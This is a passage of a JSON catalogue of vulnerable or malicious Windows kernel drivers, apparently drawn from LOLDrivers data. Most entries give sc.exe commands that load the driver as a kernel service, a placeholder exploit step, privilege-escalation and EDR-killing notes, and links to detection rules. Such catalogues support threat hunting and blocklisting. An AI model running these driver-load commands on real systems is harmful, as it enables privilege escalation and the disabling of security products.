        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create RadHwMgrsys binPath= C:\\windows\\temp\\RadHwMgrsys.sys type=kernel && sc.exe start RadHwMgrsys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-radhwmgr",
    "install": [
      {
        "method": "custom",
        "description": "Load RadHwMgr.sys kernel driver",
        "commands": [
          "sc.exe create RadHwMgrsys binPath= C:\\windows\\temp\\RadHwMgrsys.sys type=kernel && sc.exe start RadHwMgrsys"
        ]
      }
    ],
    "name": "RadHwMgr.sys",
    "namespace": "windows:kernel:radhwmgr",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create Realtime Driver binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\Realtime Driver.sys type=kernel && sc.exe start Realtime Driver\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver Realtime Driver.sys\"\n\n# Realtime Driver.sys\n\nRealtime Driver.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-realtime-driver.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Realtime Driver.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create Realtime Driver binPath=C:\\windows\\temp\\Realtime Driver.sys type=kernel && sc.exe start Realtime Driver",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-realtime-driver",
    "install": [
      {
        "method": "custom",
        "description": "Load Realtime Driver.sys kernel driver",
        "commands": [
          "sc.exe create Realtime Driver binPath=C:\\windows\\temp\\Realtime Driver.sys type=kernel && sc.exe start Realtime Driver"
        ]
      }
    ],
    "name": "Realtime Driver.sys",
    "namespace": "windows:kernel:realtime-driver",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create reddriver.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\reddriver.sys type=kernel && sc.exe start reddriver.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver reddriver.sys\"\n\n# reddriver.sys\n\nCisco Talos has identified multiple versions of an undocumented malicious driver named “RedDriver,” a driver-based browser hijacker that uses the Windows Filtering Platform (WFP) to intercept browser traffic. RedDriver has been active since at least 2021.\nRedDriver utilizes HookSignTool to forge its signature timestamp to bypass Windows driver-signing policies.\nCode from multiple open-source tools has been used in the development of RedDriver's infection chain, including HP-Socket and a custom implementation of ReflectiveLoader.\nThe authors of RedDriver appear to be skilled in driver development and have deep knowledge of the Windows operating system.\nThis threat appears to target native Chinese speakers, as it searches for Chinese language browsers to hijack. Additionally, the authors are likely Chinese speakers themselves.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-reddriver.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Cisco Talos has identified multiple versions of an undocumented malicious driver named “RedDriver,” a driver-based browser hijacker that uses the Windows Filtering Platform (WFP) to intercept browser traffic. RedDriver has been active since at least 2021. RedDriver utilizes HookSignTool to forge its signature timestamp to bypass Windows driver-signing policies. Code from multiple open-source tools has been used in the development of RedDriver's infection chain, including HP-Socket and a custo...",
    "execution": {
      "template": "sc.exe create reddriver.sys binPath=C:\\windows\\temp\\reddriver.sys type=kernel && sc.exe start reddriver.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "requires-root",
      "stealth"
    ],
    "id": "windows-kernel-reddriver",
    "install": [
      {
        "method": "custom",
        "description": "Load reddriver.sys kernel driver",
        "commands": [
          "sc.exe create reddriver.sys binPath=C:\\windows\\temp\\reddriver.sys type=kernel && sc.exe start reddriver.sys"
        ]
      }
    ],
    "name": "reddriver.sys",
    "namespace": "windows:kernel:reddriver",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blog.talosintelligence.com/undocumented-reddriver/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create rspot.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\rspot.sys type=kernel && sc.exe start rspot.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver rspot.sys\"\n\n# rspot.sys\n\nRising Antivirus rspot.sys driver with kernel-level process termination capabilities. Identified in ESET EDR killers research (March 2026) as actively abused by threat actors to disable EDR products.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-rspot.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Rising Antivirus rspot.sys driver with kernel-level process termination capabilities. Identified in ESET EDR killers research (March 2026) as actively abused by threat actors to disable EDR products.",
    "execution": {
      "template": "sc.exe create rspot.sys binPath=C:\\windows\\temp\\rspot.sys type=kernel && sc.exe start rspot.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-rspot",
    "install": [
      {
        "method": "custom",
        "description": "Load rspot.sys kernel driver",
        "commands": [
          "sc.exe create rspot.sys binPath=C:\\windows\\temp\\rspot.sys type=kernel && sc.exe start rspot.sys"
        ]
      }
    ],
    "name": "rspot.sys",
    "namespace": "windows:kernel:rspot",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.welivesecurity.com/en/eset-research/edr-killers-explained/"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create RTCore64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\RTCore64.sys type=kernel && sc.exe start RTCore64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver RTCore64.sys\"\n\n# RTCore64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n\n**Variants:** 2 known variants\n",
    "_source": "windows-kernel-rtcore64.md",
    "author": "Nasreddine Bencherchali",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create RTCore64.sys binPath=C:\\windows\\temp\\RTCore64.sys type=kernel && sc.exe start RTCore64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-rtcore64",
    "install": [
      {
        "method": "custom",
        "description": "Load RTCore64.sys kernel driver",
        "commands": [
          "sc.exe create RTCore64.sys binPath=C:\\windows\\temp\\RTCore64.sys type=kernel && sc.exe start RTCore64.sys"
        ]
      }
    ],
    "name": "RTCore64.sys",
    "namespace": "windows:kernel:rtcore64",
    "platforms": [
      "windows"
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create rtcoremini64.sys binPath=C:\\\\windows\\\\temp\\\\rtcoremini64.sys type=kernel && sc.exe start rtcoremini64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver rtcoremini64.sys\"\n\n# rtcoremini64.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-rtcoremini64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "other"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-rtcoremini64",
    "name": "rtcoremini64.sys",
    "namespace": "windows:kernel:rtcoremini64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create rtifsys binPath= C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\rtifsys.sys type=kernel && sc.exe start rtifsys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver rtif.sys\"\n\n# rtif.sys\n\nThe Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-rtif.md",
    "author": "Takahiro Haruyama",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create rtifsys binPath= C:\\windows\\temp\\rtifsys.sys type=kernel && sc.exe start rtifsys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-rtif",
    "install": [
      {
        "method": "custom",
        "description": "Load rtif.sys kernel driver",
        "commands": [
          "sc.exe create rtifsys binPath= C:\\windows\\temp\\rtifsys.sys type=kernel && sc.exe start rtifsys"
        ]
      }
    ],
    "name": "rtif.sys",
    "namespace": "windows:kernel:rtif",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create rtkio64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\rtkio64.sys type=kernel && sc.exe start rtkio64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver rtkio.sys\"\n\n# rtkio.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-rtkio.md",
    "author": "Michael Haag, Nasreddine Bencherchali",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/074ae477c8c7ae76c6f2b0bf77ac17935a8e8ee51b52155d2821d93ab30f3761.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/916c535957a3b8cbf3336b63b2260ea4055163a9e6b214f2a7005d6d36a4a677.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/ab8f2217e59319b88080e052782e559a706fa4fb7b8b708f709ff3617124da89.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/caa85c44eb511377ea7426ff10df00a701c07ffb384eef8287636a4bca0b53ab.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create rtkio64.sys binPath=C:\\windows\\temp\\rtkio64.sys type=kernel && sc.exe start rtkio64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-rtkio",
    "install": [
      {
        "method": "custom",
        "description": "Load rtkio.sys kernel driver",
        "commands": [
          "sc.exe create rtkio64.sys binPath=C:\\windows\\temp\\rtkio64.sys type=kernel && sc.exe start rtkio64.sys"
        ]
      }
    ],
    "name": "rtkio.sys",
    "namespace": "windows:kernel:rtkio",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md"
      },
      {
        "label": "Reference",
        "url": "https://github.com/elastic/protections-artifacts/search?q=rtkio"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create rtkiow8x64.sys binPath=C:\\\\windows\\\\temp\\\\rtkiow8x64.sys type=kernel && sc.exe start rtkiow8x64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver rtkiow8x64.sys\"\n\n# rtkiow8x64.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-rtkiow8x64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-rtkiow8x64",
    "name": "rtkiow8x64.sys",
    "namespace": "windows:kernel:rtkiow8x64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create rtportsys binPath= C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\rtportsys.sys type=kernel && sc.exe start rtportsys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver rtport.sys\"\n\n# rtport.sys\n\nThe Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-rtport.md",
    "author": "Takahiro Haruyama",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create rtportsys binPath= C:\\windows\\temp\\rtportsys.sys type=kernel && sc.exe start rtportsys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-rtport",
    "install": [
      {
        "method": "custom",
        "description": "Load rtport.sys kernel driver",
        "commands": [
          "sc.exe create rtportsys binPath= C:\\windows\\temp\\rtportsys.sys type=kernel && sc.exe start rtportsys"
        ]
      }
    ],
    "name": "rtport.sys",
    "namespace": "windows:kernel:rtport",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create RtsPer.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\RtsPer.sys type=kernel && sc.exe start RtsPer.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver RtsPer.sys\"\n\n# RtsPer.sys\n\nThe Realtek SD card reader driver, RtsPer.sys, has been found to contain multiple critical vulnerabilities (CVE-2022-25476, CVE-2022-25477, CVE-2022-25478, CVE-2022-25479, CVE-2022-25480, CVE-2024-40431, CVE-2024-40432) that allow non-privileged users to leak kernel memory, write to arbitrary kernel memory, and access physical memory via DMA. These flaws affect various SD card reader models (including RTS5227, RTS5228, RTS522A, RTS5249, RTS524A, RTS5250, RTS525A, RTS5287, RTS5260, RTS5261, RTS5264) used by major OEMs such as Dell, Lenovo, HP, and MSI. The vulnerabilities enable kernel memory leaks, arbitrary kernel memory writes, PCI configuration space manipulation, and DMA controller access from user mode. Due to the driver's widespread use, the impact is significant, potentially allowing privilege escalation and system compromise. Realtek has addressed these issues in driver version 10.0.26100.21374 or higher, released in July or August. \n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-rtsper.md",
    "author": "Michael M.",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The Realtek SD card reader driver, RtsPer.sys, has been found to contain multiple critical vulnerabilities (CVE-2022-25476, CVE-2022-25477, CVE-2022-25478, CVE-2022-25479, CVE-2022-25480, CVE-2024-40431, CVE-2024-40432) that allow non-privileged users to leak kernel memory, write to arbitrary kernel memory, and access physical memory via DMA. These flaws affect various SD card reader models (including RTS5227, RTS5228, RTS522A, RTS5249, RTS524A, RTS5250, RTS525A, RTS5287, RTS5260, RTS5261, RT...",
    "execution": {
      "template": "sc.exe create RtsPer.sys binPath=C:\\windows\\temp\\RtsPer.sys type=kernel && sc.exe start RtsPer.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "requires-root"
    ],
    "id": "windows-kernel-rtsper",
    "install": [
      {
        "method": "custom",
        "description": "Load RtsPer.sys kernel driver",
        "commands": [
          "sc.exe create RtsPer.sys binPath=C:\\windows\\temp\\RtsPer.sys type=kernel && sc.exe start RtsPer.sys"
        ]
      }
    ],
    "name": "RtsPer.sys",
    "namespace": "windows:kernel:rtsper",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.linkedin.com/pulse/vulnerabilities-realtek-sd-card-reader-driver-part-1-myngerbayev-czqmf, https://github.com/zwclose/realteksd"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create RtsTpx binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\RtsTpx.sys type=kernel && sc.exe start RtsTpx\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver RtsTpx.sys\"\n\n# RtsTpx.sys\n\nRtsTpx.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-rtstpx.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "RtsTpx.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create RtsTpx binPath=C:\\windows\\temp\\RtsTpx.sys type=kernel && sc.exe start RtsTpx",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-rtstpx",
    "install": [
      {
        "method": "custom",
        "description": "Load RtsTpx.sys kernel driver",
        "commands": [
          "sc.exe create RtsTpx binPath=C:\\windows\\temp\\RtsTpx.sys type=kernel && sc.exe start RtsTpx"
        ]
      }
    ],
    "name": "RtsTpx.sys",
    "namespace": "windows:kernel:rtstpx",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create RtsUer.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\RtsUer.sys type=kernel && sc.exe start RtsUer.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver RtsUer.sys\"\n\n# RtsUer.sys\n\nThe Realtek SD card reader driver, RtsUer.sys, versions below or equal to 10.0.22000.31273 contain multiple vulnerabilities that pose significant security risks. These flaws allow non-privileged users to write to kernel memory and access the DMA controller from unprivileged accounts, potentially enabling privilege escalation and system compromise. The most severe issues include the ability to write to kernel memory and access the DMA controller, which could lead to unauthorized system modifications. These vulnerabilities affect various Realtek SD card reader models used by major OEM laptop manufacturers. Due to the widespread use of this driver, the impact is considerable, potentially affecting a large number of systems across different brands. Users with laptops equipped with Realtek SD card readers should ensure their drivers are updated to a version higher than 10.0.22000.31273 to mitigate these security risks.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-rtsuer.md",
    "author": "Michael M.",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The Realtek SD card reader driver, RtsUer.sys, versions below or equal to 10.0.22000.31273 contain multiple vulnerabilities that pose significant security risks. These flaws allow non-privileged users to write to kernel memory and access the DMA controller from unprivileged accounts, potentially enabling privilege escalation and system compromise. The most severe issues include the ability to write to kernel memory and access the DMA controller, which could lead to unauthorized system modific...",
    "execution": {
      "template": "sc.exe create RtsUer.sys binPath=C:\\windows\\temp\\RtsUer.sys type=kernel && sc.exe start RtsUer.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "requires-root"
    ],
    "id": "windows-kernel-rtsuer",
    "install": [
      {
        "method": "custom",
        "description": "Load RtsUer.sys kernel driver",
        "commands": [
          "sc.exe create RtsUer.sys binPath=C:\\windows\\temp\\RtsUer.sys type=kernel && sc.exe start RtsUer.sys"
        ]
      }
    ],
    "name": "RtsUer.sys",
    "namespace": "windows:kernel:rtsuer",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.linkedin.com/pulse/vulnerabilities-realtek-sd-card-reader-driver-part-1-myngerbayev-czqmf, https://github.com/zwclose/realteksd"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create RwDrv.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\RwDrv.sys type=kernel && sc.exe start RwDrv.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver RwDrv.sys\"\n\n# RwDrv.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-rwdrv.md",
    "author": "Nasreddine Bencherchali",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
